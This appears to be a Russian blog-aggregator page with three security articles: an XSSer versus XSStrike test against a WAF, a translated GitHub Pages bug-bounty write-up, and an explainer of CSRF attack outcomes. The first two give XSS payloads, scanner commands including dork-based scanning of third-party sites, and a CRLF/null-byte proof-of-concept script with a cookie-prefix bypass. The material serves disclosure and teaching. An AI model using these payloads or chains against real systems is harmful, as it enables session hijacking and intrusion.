  • --Dom - Внедрение межсайтового скриптинга в DOM-модель и так далее.

Exploit

Специальные методы выполнения инъекций.

Параметры
  • --B64 - кодировка кода с помощью Base64 в теге META;

  • --Onm - использовать событие onMouse();

  • --Ifr - использовать исходный тег <iframe>;

  • --DoS - отказ в обслуживании через XSS (клиент/сервер).

После указания всех параметров можно нажать на главном окне кнопку Fly для выполнения атаки или кнопку Aim для генерации консольной команды.

Тестирование

Проверка автоматической генерации пейлоадов

Набор пейлоадов, которые предлагает XSSer, находится в файле ./core/fuzzing/vectors.py и записан в виде JSON. Сам список имеет вид:

{ 'payload':"""<iframe<?php echo chr(12)>onload=PAYLOAD></iframe>""",'browser':"""Not Info"""}

Если сравнивать с XSStrike, то у него было несколько наборов:

  • базовые теги (img, iframe и т.д.)

  • обработчики событий (onload, onerror, onmouseover и т.д.)

  • функции (например confirm()) и т.д.

В процессе генерации все эти наборы совмещались друг с другом и получался объемный список пейлоадов. Но в XSSer оказалось, что параметр --auto отвечает лишь за использование уже существующего словаря, который, разумеется, можно расширить.

Во время тестирования все применяемые пейлоады кодируются в URL-Encode, а результаты автоматически записываются в текущей папке в файл XSSreport.raw, если не указано иное.

Проверка поиска уязвимых сайтов для XSS средствами Google Dork

Данная функция позволяет инструменту проводить поиск уязвимых страниц в Интернете, используя GoogleDork-запросы. В процессе поиска XSSer будет искать страницы по указанным критериям и, если найдет, отправит пейлоад для проверки наличия XSS-уязвимости. В самом простом случае запрос может выглядеть так:

# xsser --De "duck" -d "search.php?q="

где:

--De - поисковой движок (DuckDuckGo, Yahoo, Bing)

-d - содержимое GoogleDork-запроса

Сама задумка данной функции понятна поиск уязвимых страниц с помощью продвинутого поискового движка, но из-за того, что при ее использовании атакуются сторонние ресурсы в Интернете, не совсем понятно, зачем она была добавлена.

XSStrike

XSStrike это пакет обнаружения XSS, оснащенный четырьмя рукописными синтаксическими анализаторами, интеллектуальным генератором полезной нагрузки, мощным механизмом фаззинга и быстрым сканером. Он распознаёт ответ с помощью нескольких анализаторов и затем обрабатывает полезные данные, которые гарантированно будут работать с помощью контекстного анализа, интегрированного в механизм фаззинга.

Возможности:

  • фаззинг;

  • технология взлома контекста;

  • интеллектуальная генерация пэйлоадов;

  • поддержка методов GET & POST;

  • поддержка файлов cookie;

  • обнаружение WAF;

  • пэйлоады ручной работы для фильтрации и WAF-уклонения;

  • скрытое обнаружение параметров.

Основные параметры

-u - URL для проверки на уязвимости;

--data - позволяет работать с POST-запросами;

--skip - позволяет пропустить вопрос о применении того или иного пейлоада;

--params - поиск потенциально уязвимых параметров;

--fuzzer - позволяет запустить фаззинг параметров, указанных в URL;

--crawl - сканирует все доступные страницы сайта и показывает те, которые подвержены XSS;

--headers - передача запросов с необходимыми заголовками, например, User-Agent или Cookie.

Пример:

# python3 xsstrike.py -u "http://example.com" --crawl# python3 xsstrike.py -u "http://example.com" --data "login=admin&password=admin&submit"

Более подробно про XSStrike на русском можно прочитать здесь.

Тестирование обхода WAF. XSSer vs XSStrike

# xsser -u "http://example.com/xss.php" -p "login=XSS&password1=&enter=Submit+Query" --auto --timeout "1"

Здесь указан URL, параметры POST-запроса, использование заготовленного словаря с пейлоадами и задержка в 1 секунду между запросами.

При использовании XSSer со стандартным набором пейлоадов, Nemesida WAF Free заблокировал все атаки, за исключением направленных на старые версии браузеров (например, Internet Explorer 6). Также не были заблокированы запросы, не преставляющие собой реальную атаку, например:

  • <xml id="X"><a><b>955c5ecb3ac1e7ef80ab181ca5d5c7d9;<b></a></xml>

  • <DIV STYLE="width: expression(c5d576195e3d738adcfb2e1f10019443);">

  • <LINK REL="stylesheet" HREF="bdde8029cb7599bd5601cb739bab6590">

Есть символы, используемые в атаках, но отдельно не являющиеся опасными. Их блокировка потенциально может привести к ложным срабатываниям. В Nemesida WAF Free мы разрабатываем качественные сигнатуры для снижения количества ложных срабатываний.

Попытки обхода средств защиты также не дали дополнительных результатов при применении любого из доступных в инструменте методов кодирования пейлоадов.

# xsser -u "http://example.com/xss.php" -p "login=XSS&password1=&enter=Submit+Query" --auto --timeout "1" --Hex

Дополнительно применялась мультикодировка --Cem:

# xsser -u "http://example.com/xss.php" -p "login=XSS&password1=&enter=Submit+Query" --auto --timeout "1" --Cem "Str, Hex"

В этом случае пейлоад будет по очереди закодирован сначала в String.FromCharCode () (Str), после чего полученная строка будет закодирована в шестнадцатиричный код (Hex). Кодировок можно добавлять и больше, но это будет прямо пропорционально влиять на скорость проверки.

Если сравнивать эффективность XSStrike и XSSer, то мы, скорре, отдадим предпочтение последнему. Хотя в XSStrike есть функция преобразования полезной нагрузки в base64:

# python3 xsstrike -u "http://example.com/xss.php" --data "login=&password1=&enter=Submit+Query" --skip -e b64

Параметр --data отвечает за содержимое тела POST-запроса, --skip позволяет пропустить проверку перед применением пейлоадов, а -e устанавливает кодировку пейлоадов.

Проблемы сигнатурного анализа

Не стоит забывать, что злоумышленник может легко получить список сигнатур и на его основе попытаться обойти WAF. Для таких случаев в Nemesida WAF применяется модуль машинного обучения, который позволяет усложнить попытки обхода сигнатурного метода. Для наглядности мы провели 2 теста - попытки обхода бесплатной версии Nemesida WAF (только сигнатурный анализ) и полной версии Nemesida WAF с применением машинного обучения (используя реальные модели). В качестве инструмента использовали waf-bypass и вот, что получили:

Nemesida WAF Free (только сигнатурный анализ)
Nemesida WAF (с применением машинного обучения)

При использовании инструмента XSStrike все атаки на веб-приложение также были заблокированы, даже с учетом попыток обхода защиты по умолчанию.

# python3 xsstrike -u "http://sites.vulns.pentestit.ru/xss.php" --data "login=&password1=&enter=Submit+Query" --skip

Вывод

XSS являются крайне опасными уязвимостями, которые могут навредить, в первую очередь, пользователям. Поэтому предлагаем небольшой список рекомендаций для защиты от них:

  • Кодирование входных данных: с помощью библиотек OWASP Encoding Project, HTML Purifier, htmLawed, Anti-XSS Class и т.д.;

  • Регулярный ручной и автоматизированный анализ безопасности кода и тестирование на проникновение: с использованием как рассмотренных XSSer и XSStrike, так и с Wapiti, Nikto Web Scanner или Acunetux;

  • Использование Nemesida WAF (хотя бы Free версию);

  • И, наконец, регулярно устанавливать обновления (и, если серьезно заморочиться, использовать расширения, предотвращающие запуск XSS-сценариев на странице).

Nemesida WAF доступен в виде установочных пакетов для популярных Linux-систем: Debian, CentOS и Ubuntu. Быстрый стар для тех, кто уже познакомился с продуктом, занимает порядка 5-7 минут. Инструкция по установке доступна по ссылке.

По завершении настроек атаки будут отображаться в личном кабинете (также устанавливается локально), демонстрационной стенд размещен по адресуdemo.lk.nemesida-security.com(demo@pentestit.ru/pentestit).

Оставайтесь здоровыми и защищенными.

Подробнее..

Перевод Как хакнуть Github и заработать 35000?

12.04.2021 18:13:34 | Автор: admin

Когда я нашёл эту уязвимость и сообщил о ней, она стала моим первым оплаченным баг-репортом на HackerOne. $35,000 это также самая высокая награда, которую я получил от HackerOne (и я считаю, что самая высокая оплата от GitHub на сегодня). Многие найденные ошибки, кажется, это удача и интуиция, вместе взятые. В этом посте я расскажу, как мыслил, приближаясь к цели.


Как началась история

Ковид ударил весной, в первый год старшей школы. От нечего делать между онлайн-занятиями я начал охоту за багами. Конкретно эта награда была за сообщение об уязвимости приватных страниц Github в рамках программы Баг Баунти. В частности, было и два бонуса CTF (capture the flag состязание по типу захвата флага, здесь в информационной безопасности):

  • $10000 чтение флага flag.private-org.github.io без взаимодействия с пользователем. Бонус в $5000 за то, что флаг читается с аккаунта внутри приватной организации.

  • $5000: чтение флага flag.private-org.github.io через взаимодействие с пользователем.

Поток аутентификации

Страницы GitHub размещаются в отдельном домене github.io, поэтому куки-файлы аутентификации github.com не отправляются на сервер приватных страниц. Таким образом, аутентификация частной страницы не имеет возможности определить личность пользователя без дополнительной интеграции с github.com, поэтому GitHub создал собственный поток аутентификации. И ввёл возможность существования багов. На момент отчёта этот поток выглядел так:

А теперь подробнее.

При посещении приватной страницы сервер проверяет, существует ли файл куки __Host-gh_pages_token. Если этот файл не установлен или установлен неправильно, сервер приватной страницы перенаправит на https://github.com/login. Этот начальный редирект также устанавливает nonce, который хранится в куки __Host-gh_pages_session.

Обратите внимание, что этот куки использует префикс куки __Host-, который, в теории, в качестве дополнительной защиты в глубину, предотвращает его установку из JS с родительского домена.

/login перенаправляет на /pages/auth?nonce=&page_id=&path=. Затем эта конечная точка генерирует временный куки-файл аутентификации, который она передаёт https://pages-auth.github.com/redirect в параметре token; nonce, page_id, и path присылаются аналогично.

/redirect просто перенаправляет на https://repo.org.github.io/__/auth. Эта последняя конечная точка затем устанавливает куки аутентификации для домена repo.org.github.io, __Host-gh_pages_token и __Host-gh_pages_id. Также вместе с ранее установленным __Host-gh_pages_session на валидность проверяется nonce.

На протяжении всего потока аутентификации такая информация, как исходный путь запроса и идентификатор страницы, хранится в параметрах запроса path и page_id соответственно. Nonce также передаётся в параметре nonce. Хотя поток аутентификации, возможно, немного изменился (отчасти из-за этого отчёта), общая идея остаётся прежней.

Эксплоит

CRLF возвращается

Первая уязвимость CRLF-инъекция в параметре page_id запроса https://repo.org.github.io/__/auth.

Возможно, лучший способ найти уязвимые места поиграть. Исследуя поток аутентификации, я заметил, что парсинг page_id, похоже, игнорировал пробельные символы. Интересно, что он также рендерил параметр непосредственно в заголовок Set-Cookie. К примеру, page_id=12345%20 вернул это:

Set-Cookie: __Host-gh_pages_id=12345 ; Secure; HttpOnly; path=/

Псевдокод предположительно такой:

page_id = query.page_iddo_page_lookup(to_int(page_id))set_page_id_cookie(page_id)

Другими словами, page_id преобразуется в целое число, а также отображается напрямую в заголовок Set-Cookie. Проблема была в том, что мы не можем отобразить текст напрямую. Несмотря на то, что у нас была классическая CRLF-инъекция, размещение любых непробельных символов привело к поломке парсинга целого. Мы могли бы прервать поток аутентификации, отправив page_id=12345%0d%0a%0d%0a, но, кроме интересного ответа, никакого немедленного воздействия не было.

; Secure; HttpOnly; path=/Cache-Control: privateLocation: https://83e02b43.near-dimension.github.io/X-GLB-L

Дополнительное примечание: заголовок Location: был добавлен после заголовка Set-Cookie, поэтому наш ответ Location выталкивает за пределы отправленных HTTP-заголовков. Это редирект на 302, но, несмотря на это, заголовок Location игнорируется и отображается содержимое тела.

Из грязи в князи

Немного просмотрев на GitHub Enterprise (который дал доступ к исходному коду), я заподозрил, что сервер приватных страниц реализован на Nginx OpenResty. Будучи относительно низкоуровневым, возможно, он имел проблемы с нулевыми байтами. А попытка не пытка, правильно?

Оказалось, что добавление нулевого байта прерывает парсинг целого. Другими словами, можно передать такую полезную нагрузку:

"?page_id=" + encodeURIComponent("\r\n\r\n\x00<script>alert(origin)</script>")

А вот и XSS!

Обратите внимание, что, если в заголовке есть нулевой байт, ответ будет отклонён. Таким образом, нулевой байт должен прийти в начале тела (это означает, что мы не можем выполнить атаку через инъекцию в заголовок).

Мы добились выполнения произвольного JavaScript на странице приватного домена. Единственная проблема нужен способ обойти nonce. Параметры page_id и path известны, а nonce не позволяет нам отправлять жертв вниз по потоку аутентификации с отравленным page_id. Нам нужно либо зафиксировать, либо спрогнозировать nonce.

Обходим nonce

Первое наблюдение поддомены одной организации могут устанавливать куки-файлы друг на друга. Так происходит потому, что *.github.io нет в публичном списке суффиксов. Таким образом установленные на private-org.github.io куки передаются на private-page.private-org.github.io.

Nonce обойти будет легко, если мы как-то сможем обойти защиту префикса __Host-. Просто установим фальшивый nonce на страницу поддомена того же уровня, значение будет передано ниже. К счастью, этот префикс не принудителен во всех браузерах...

Ну, ладно... неправильно говорить не во всех. Похоже, в смысле этого обхода уязвим только IE. Придётся постараться. А что, если атаковать сам nonce? генерация выглядит надёжной, и, если честно, криптография не моя сильная сторона. Найти обход применяемой в nonce энтропии, несмотря ни на что, это казалось маловероятным. Как же тогда зафиксировать nonce?

Вернёмся к истокам RFC. В конце концов, я наткнулся на интересную идею как нормализовать куки? В частности, как следует обращаться с куки с учётом верхнего регистра. "__HOST-" это то же самое, что "__Host-"? Легко убедиться, что в браузерах с куками разного регистра обращаются по-разному:

document.cookie = "__HOST-Test=1"; // worksdocument.cookie = "__Host-Test=1"; // fails

Оказывается, сервер приватных страниц GitHub при разборе куки-файлов игнорирует заглавные буквы. И у нас есть префиксный обход. А теперь собираем доказательство концепции атаки XSS!

<script>const id = location.search.substring("?id=".length)document.cookie = "__HOST-gh_pages_session=dea8c624-468f-4c5b-a4e6-9a32fe6b9b15; domain=.private-org.github.io";location = "https://github.com/pages/auth?nonce=dea8c624-468f-4c5b-a4e6-9a32fe6b9b15&page_id=" + id + "%0d%0a%0d%0a%00<script>alert(origin)%3c%2fscript>&path=Lw";</script>

Уже этого достаточно, чтобы заработать бонус в $5000. Но я хотел посмотреть, получится ли продвинуться дальше.

Отравление кэша

И вот ещё один недостаток дизайна выяснилось, что в ответ на конечную точку /__/auth? кэшировалось только целое значение page_id. Само по себе это безвредно: установленный этой конечной точкой токен скопирован на личную страницу и не имеет никаких других привилегий.

В то же время такая практика в проектировании несколько сомнительна. Получение токенами дополнительных привилегий потенциально может стать источником проблем безопасности.

Независимо от этого, такое кэширование лёгкий способ усугубить атаку. Поскольку он делается на разобранном целочисленном значении, успешная атака на кэш с полезной нагрузкой XSS может повлиять на других пользователей, которые даже не взаимодействовали с вредоносной нагрузкой, как показано ниже:

Злоумышленник контролирует unprivileged.org.github.io и хочет добраться до privileged.org.github.io. Он атакует поток аутентификации unprivileged.org.github.io и полезная нагрузка XSS кэшируется.

Когда привилегированный пользователь посещает unprivileged.org.github.io, он подвергается XSS атаке на домен unprivileged.org.github.io. Куки могут устанавливаться на общем родительском домене org.github.io, поэтому теперь злоумышленник может атаковать privileged.org.github.io.

Эти действия позволяют любому злоумышленнику с разрешениями на чтение приватной страницы постоянно атаковать поток аутентификации этой страницы. Ё-моё!

Публичные и приватные страницы

Чтобы получить бонус 15000 долларов, нужно выполнить эту атаку с учётной записи пользователя, которого в организации нет. И нам везёт: мы можем злоупотребить тем, что кажется ещё одной ошибкой конфигурации разделением страниц на публичные и приватные.

Ошибка в конфигурации приватных страниц позволяет публичным репозиториям также иметь свои собственные приватные страницы. После обычной аутентификации эти страницы открыты для всех. Если такая публично-приватная страница есть у организации, она доступна для чтения любому пользователю Github. Получить доступ можно так:

Это происходит, когда репозиторий приватных страниц делают публичным. Ситуация вполне правдоподобна: например, организация может изначально создать приватный репозиторий с соответствующей приватной страницей. Позже она может решить открыть исходный код проекта, изменив статус репозитория на общедоступный.

В комбинации с изложенным выше получается, что непривилегированный пользователь вне организации может с опорой на приватно-публичную страницу скомпрометировать потоки аутентификации внутренних приватных страниц.

В целом это даёт хорошее доказательство концепции, показывающее, как злоумышленник извне может использовать сотрудника организации, чтобы перейти на другие приватные страницы.

Так мы заработали максимальный бонус CTF. Устойчивость достигается отравлением кэша или другим техниками, которые мы оставим читателям в качестве упражнения.

Заключение

Этой уязвимости присвоили высокий приоритет, базовая выплата составила 20 000 долларов, а с бонусом CTF мы заработали 35 000 долларов. Довольно круто, что такая относительно малоизвестная уязвимость, как инъекция CRLF, обнаружилась на GitHub. Хотя большая часть кода написана на Ruby, некоторые компоненты, такие как аутентификация приватной страницы, написаны не на этом языке и могут быть уязвимы к низкоуровневым атакам. В общем, везде, где есть сложные взаимодействия, ошибки только ждут, чтобы мы их нашли.

Обнаруженная уязвимость кажется одной на миллион. Это как продеть нитку в иголку должен выстроиться целый ряд событий. В то же время, думаю, чтобы найти нечто подобное, требуется в меру развитая интуиция и навыки, которые как раз можно получить на курсе Этичный хакер.

Узнайте, как прокачаться и в других специальностях или освоить их с нуля:

Другие профессии и курсы
Подробнее..

Перевод Восемь забавных вещей, которые могут с вами произойти, если у вас нет защиты от CSRF-атак

12.04.2021 18:13:34 | Автор: admin

Восемь забавных вещей, которые могут с вами произойти, если у вас нет защиты от CSRF-атак



Введение


В качестве программистов Typeable мы видим свою основную цель в том, чтобы приносить пользу нашим заказчикам. Однако я только что потратил некоторое количество денег заказчика и целый день на то, чтобы добавить защиту от подделки межсайтовых запросов (CSRF) на нашу страницу авторизации и, надеюсь, сделал это без каких-либо видимых следов. Ценность таких действий по обеспечению безопасности бывает трудно увидеть, поэтому я подумал, что полезно было бы описать, что именно может произойти без защиты от CSRF, и почему это небольшое изменение на самом деле является очень ценным.


Во-первых, что такое CSRF-атака? Согласно первоначальному замыслу всемирная паутина должна быть наполнена взаимосвязанным контентом, где одна страница могла бы, например, показывать изображения с другой и ссылаться на другие страницы без каких-либо ограничений. За кулисами работает веб-браузер, загружающий различные ресурсы, делая запросы к серверам. Серверы декодируют запросы и выдают ответ, направляя соответствующий контент. Интернет не меняет состояние, а серверы изначально не знают цели запроса. Сервер понимает, что браузер запрашивает изображение Эйфелевой башни, но не знает, что браузер собирается использовать эту картинку при отображении статьи из Википедии.


В случае со статическим контентом эта схема позволяет легко построить сеть. Однако мы больше не используем интернет для статического контента в таком масштабе. С веб-приложениями такое поведение больше не работает. Сервер должен знать, с какой целью делается запрос. Если браузер запрашивает у банковского сервера перевод денежных средств, такой сервер должен знать, что это произошло из-за того, что пользователь нажал соответствующую кнопку на вебсайте банка, а не потому что он попал на другую, вредоносную, страницу, созданную для выдачи такого же запроса.


В этом заключается суть подделки межсайтовых запросов (CSRF). Если злоумышленник может заманить вашего пользователя на свой вебсайт, пока этот пользователь авторизован на вашем сайте, злоумышленник может подделывать запросы на ваш сайт, используя идентификационные данные такого пользователя. То есть теоретически злоумышленник может активировать любые функции, доступные этому пользователю. И хотя большинство браузеров и серверов учитывают такую возможность, готовые решения по снижению рисков не являются абсолютно надежными. Именно авторы приложений отвечают за то, чтобы обрабатывались только предполагаемые запросы.


С точки зрения злоумышленников использование CSRF связано со многими нюансами. Самым важным является то, что злоумышленники не могут видеть результат CSRF-запросов из-за мер безопасности, предусмотренных в браузере. Злоумышленникам приходится действовать вслепую. Во-вторых, злоумышленник должен суметь догадаться, как должен выглядеть запрос, что связано с трудностями использования путей для запросов, обычно недоступных простому пользователю. Подобные соображения могут стать причиной, по которой защита от CSRF не всегда рассматривается в качестве приоритетной задачи.


Однако с помощью CSRF-уязвимостей умный злоумышленник может сделать очень многое. Вот восемь очевидных действий для разных ситуаций:


1. Сделать слепой произвольный запрос по любому маршруту в качестве пользователя


В общем-то, это неинтересная и абстрактная угроза. И все же посмотрите на любое веб-приложение. Ведь непременно должно быть что-то неприятное, что можно сделать с помощью CSRF? Например, отправить компрометирующее сообщение от лица незадачливого пользователя или забронировать кому-нибудь билеты на рейс в Таджикистан? А если жертвой является администратор, возможно, злоумышленники могут присвоить себе статус привилегированного пользователя?


2. Сделать запрос и узнать его продолжительность


Несмотря на то, что злоумышленники не могут увидеть реальный ответ, они обычно могут установить продолжительность его выдачи. От атак по времени очень трудно защититься, и мы берем на себя этот труд только в важнейших местах, таких как страница авторизации.


Однако никто серьезно не защищается от атак по времени, скажем, при поиске. Например, предположим, что у вас есть сайт службы знакомств, а злоумышленник делает запрос через браузер жертвы, скажем, Сары, по маршрутам messages/search?query=kevin%20mitchell и messages/search?query=blurghafest. Если достоверно известно, что первый запрос занимает больше времени, чем второй (причем необязательно намного), может пролиться кровь. Или, как минимум, где-то далеко произойдет неприятность и появится недовольный клиент.


С помощью этого способа также можно тайно проверить, есть ли у кого-либо учетная запись в какой-то конкретной службе. Надо всего лишь осуществить CSRF-атаку на медленном маршруте, доступном только для авторизованных пользователей. Если пользователь авторизован, это займет больше времени.


3. Заставить пользователя выйти из системы


Страницы выхода из системы зачастую не защищены от CSRF-атак, так как важно дать пользователям возможность выйти из учетной записи в любой ситуации. Сюда входят ситуации, когда пользователь отключает файл CSRF cookie, используя инструментарий разработчика. Если во главу угла ставится возможность выхода из системы, страницы выхода из учетной записи становятся хорошей целью для CSRF-атак.


Например, вам будет совсем не смешно, если перекупщик заставит всех пользователей вашего веб-форума выйти из вашего интернет-магазина как раз в то время, когда в продажу поступит новая редкая игровая консоль.


4. Заставить пользователя выйти из системы и снова войти


Страницы авторизации зачастую представляют собой отдельный случай в схемах защиты от CSRF. Как правило, CSRF-атака отслеживается в данных пользовательского сеанса, а поскольку на странице авторизации сеанс еще не происходит, страницу авторизации можно оставить без защиты.


В этом сценарии злоумышленник сначала обеспечивает выход пользователя из системы, а затем пытается снова войти. Теперь для того, чтобы авторизовать пользователя снова, злоумышленнику потребовались бы учетные данные пользователя и пароль, которых, надо надеяться, у злоумышленника нет. Вместо этого злоумышленник может снова авторизовать пользователя в системе, используя идентификационные данные злоумышленника. Для чего это нужно?


Предположим, например, что на этом вебсайте для чего-то нужны данные банковской карты. Когда пользователь непреднамеренно авторизуется в учетной записи злоумышленника, в ней не будет данных кредитной карты. Поэтому для того, чтобы выполнить запланированные пользователем действия, например, попытаться купить приставку ps5, пользователь должен снова ввести номер кредитной карты. Однако если сейчас пользователь введет номер, этот номер будет связан с учетной записью злоумышленника, с которой злоумышленник легко его украдет.


5. Изменить адрес электронной почты пользователя и запросить восстановление пароля


В большинстве случаев обновление данных учетной записи пользователя осуществляется с помощью единственного запроса. Если вы сможете произвести CSRF-атаку на этот запрос, вы сможете менять такие вещи, как электронный адрес пользователя. Если это произошло, злоумышленник может просто пойти на страницу авторизации и запустить процесс смены пароля и украсть учетную запись пользователя.


А если изменить электронную почту не получилось, злоумышленник может попытаться поменять такие элементы, как номер телефона или кредитной карты, которые система поддержки использует для идентификации пользователей, когда они звонят. Возможно, теперь злоумышленник может обмануть сотрудников поддержки, чтобы они выдали ему данные учетной записи пользователя?


6. Превратить уязвимость Self-XSS в XSS


CSRF-атака может превратить уязвимость self-XSS, которая является мелкой проблемой, в XSS, которая является огромной проблемой.


На каком-то этапе развития сети появился Javascript, позволяющий добавить на страницы интерактивность. Позднее Javascript был расширен, чтобы дать скрипту все возможности действовать от лица пользователей на любом сайте, где он выполняется. Это привело к появлению уязвимостей, связанных с межсайтовым скриптингом.


Истинная уязвимость XSS представляет собой ужасную ситуацию, при которой злоумышленник каким-то образом смог заставить браузер жертвы выполнять вредоносный код на javascript. Это означает, что система защиты разгромлена, поскольку злоумышленник получил полный неограниченный доступ ко всему, что пользователь может делать на вашем сайте, что зачастую включает распространение XSS-атаки на других пользователей.


Уязвимость Self-XSS представляет собой значительно меньшую угрозу безопасности. В этом случае пользователи могут вставлять скрипты в веб-сайт, но эти скрипты видны только при использовании собственных учетных записей этих пользователей, а не учетных записей других пользователей. Таким образом, в самом неприятном случае пользователь может причинить ущерб самому себе.


Вот реальный пример уязвимости Self-XSS. Несколько лет назад я обнаружил, что система записи на курсы в моем университете имеет страницу с описанием курсов, в которую можно вписывать скрипты. Этот момент считался несущественным, поскольку на этой странице могли писать только преподаватели, а они вряд ли стали бы добавлять сюда вредоносные скрипты.


К сожалению, в системе также отсутствовала защита от CSRF-атак, следовательно, злоумышленник мог бы вставить скрипт Javascript на страницах с описанием курса с помощью CSRF: Надо всего лишь попросить любого преподавателя проверить вашу курсовую и можно быть уверенным, что и преподаватель, и злоумышленник вошли в систему и просматривают страницу с вашей вредоносной CSRF-страницей. Затем в течение 20 миллисекунд вы можете пройти все курсы с высшим баллом.


7. Замести следы


Если злоумышленник также является пользователем атакуемого веб-приложения, CSRF-атака становится хорошим способом скрыть следы. Хотите вставить XSS-скрипт в сообщение на форуме, но не хотите делать это под собственной учетной записью, чтобы не попасться? В таком случае совершите CSRF-атаку на другого пользователя и используйте его браузер и идентификационные данные для вставки XSS.


Если пользователь не обладает по-настоящему глубоким пониманием, он никогда не узнает, откуда пришел этот CSRF-удар.


8. Распространять вредоносное ПО


Позволяет ли ваш сервис пользователям хранить файлы? Многие типы файлов, такие как .docx, pdf, jpeg и другие исторически используются для сокрытия вредоносного ПО из-за багов программ, которые их читают.


Если сервис уязвим для CSRF-атак, злоумышленник может затем загрузить поврежденные файлы в учетные записи пользователей, а пользователи откроют их на своих телефонах и ноутбуках.


Заключительные замечания


Надеюсь, мне удалось убедить вас, что полдня, потраченные мной на внедрение защиты от CSRF, на самом деле были прекрасным вложением для нашего заказчика. А также убедить, что сейчас самое время пойти и добавить защиту от CSRF на ваш сайт, если вы до сих пор этого не сделали.

Подробнее..

Категории

Последние комментарии

  • Имя: Макс
    24.08.2022 | 11:28
    Я разраб в IT компании, работаю на арбитражную команду. Мы работаем с приламы и сайтами, при работе замечаются постоянные баны и лаги. Пацаны посоветовали сервис по анализу исходного кода,https://app Подробнее..
  • Имя: 9055410337
    20.08.2022 | 17:41
    поможем пишите в телеграм Подробнее..
  • Имя: sabbat
    17.08.2022 | 20:42
    Охренеть.. это просто шикарная статья, феноменально круто. Большое спасибо за разбор! Надеюсь как-нибудь с тобой связаться для обсуждений чего-либо) Подробнее..
  • Имя: Мария
    09.08.2022 | 14:44
    Добрый день. Если обладаете такой информацией, то подскажите, пожалуйста, где можно найти много-много материала по Yggdrasil и его уязвимостях для написания диплома? Благодарю. Подробнее..
© 2006-2024, personeltest.ru